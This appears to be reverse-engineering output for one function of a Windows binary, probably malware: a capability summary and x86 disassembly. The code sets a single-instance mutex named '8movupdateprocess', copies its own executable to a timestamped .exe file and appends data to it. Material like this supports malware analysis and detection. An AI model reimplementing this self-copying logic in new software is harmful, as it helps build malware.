Function at 0x401ad0
Capabilities:
Check mutex on windows
Copy file
Write file on windows

Disassembly:
sub esp, 0x440
push esi
lea eax, [esp + 0x18]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
lea ecx, [esp + 0x20]
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.8movupdateprocess
lea eax, [esp + 0xc]
lea edx, [esp + 0x1c]
push 1
push eax
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x1c], 1
mov dword [esp + 0x18], edx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401b46
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
add esp, 0x440
ret
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0x44c]
cmp ebx, 1
jne 0x401b76
call fcn.00401880
call fcn.00401aa0
pop ebx
xor eax, eax
pop esi
add esp, 0x440
ret
cmp ebx, 2
jl 0x401d27
lea ecx, [esp + 0x1c]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x454]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x3b]
cmp al, 0x5c
mov eax, dword [edx + 4]
push eax
je 0x401bb3
push 0x4030e4
jmp 0x401bb8
push 0x403010
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x44]
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x244]
push 0x104
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [esp + 0x34c]
push 0
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x250]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll__splitpath]
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
and eax, 0xffff
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x3e]
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3e]
push edx
mov edx, dword [esp + 0x40]
and eax, 0xffff
and ecx, 0xffff
push eax
and edx, 0xffff
push ecx
push edx
lea eax, [esp + 0x3c]
push str._04d_02d_02d_02d_02d_02d
push eax
call esi
lea ecx, [esp + 0x44]
lea edx, [esp + 0x37c]
push ecx
lea eax, [esp + 0x44]
push edx
push eax
lea ecx, [esp + 0x180]
push str._s_s_s.exe
push ecx
call esi
add esp, 0x48
lea edx, [esp + 0x140]
lea eax, [esp + 0x244]
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x140]
push 0x4030b8
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push 2
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
call dword [sym.imp.MSVCRT.dll_ftell]
add esp, 0x18
cmp ebx, 2
mov dword [esp + 0x38], eax
push esi
push 1
push 1
jne 0x401cc3
push 0x4030b4
jmp 0x401cc8
push 0x4030b0
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
call ebx
lea edi, [esp + 0x20]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
push esi
push ecx
lea edx, [esp + 0x18]
push 1
push edx
call ebx
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x4c]
push eax
push ecx
push esi
call fcn.00401170
push esi
push 4
lea edx, [esp + 0x58]
push 1
push edx
mov dword [esp + 0x60], 0
call ebx
push esi
push 4
lea eax, [esp + 0x6c]
push 1
push eax
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x40
pop edi
pop ebx
xor eax, eax
pop esi
add esp, 0x440
ret